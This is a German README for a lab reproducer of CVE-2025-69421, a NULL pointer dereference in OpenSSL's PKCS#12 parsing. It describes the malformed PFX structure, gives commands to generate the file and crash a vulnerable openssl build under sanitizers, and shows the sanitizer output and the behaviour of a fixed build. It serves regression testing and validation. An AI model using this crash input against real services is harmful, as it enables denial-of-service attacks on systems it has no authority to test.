
Dieses Repository enthält eine minimale fehlerhafte PKCS#12-Datei, die CVE-2025-69421 in einer isolierten Laborumgebung reproduziert.
Die erzeugte PFX-Datei enthält EncryptedData, dessen EncryptedContentInfo das optionale Feld encryptedContent auslässt. Verwundbare OpenSSL-Versionen können einen NULL-Zeiger vom Typ ASN1_OCTET_STRING von PKCS12_unpack_p7encdata() an die Funktion PKCS12_item_decrypt_d2i_ex() übergeben, die diesen ohne NULL-Prüfung dereferenziert.
Dieser Reproducer demonstriert ausschließlich einen Denial-of-Service-Zustand. Er führt keinen Code aus und gibt keine Informationen preis.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Legen Sie das Build-Verzeichnis fest, bevor Sie den PoC ausführen:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD muss die verwundbare libcrypto.so.3 und das passende Binärprogramm apps/openssl enthalten.
Eine vorab erzeugte Datei ist enthalten. Um sie neu zu erzeugen:
python3 generate.py
Die Ausgabe ist:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
Die relevante Struktur ist:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
Mit dem Hilfsskript:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
Entsprechender manueller Befehl:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
Die wichtigen Indikatoren sind:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
Ein behobener OpenSSL-Build sollte die fehlerhafte Eingabe ohne Sanitizer-Meldung oder Prozessabsturz ablehnen. Die Fehlermeldung kann Folgendes enthalten:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
Verwenden Sie diesen Reproducer nur auf Systemen, die Ihnen gehören oder für deren Test Sie ausdrücklich autorisiert sind. Das enthaltene Artefakt ist für defensive Validierung und Regressionstests bestimmt.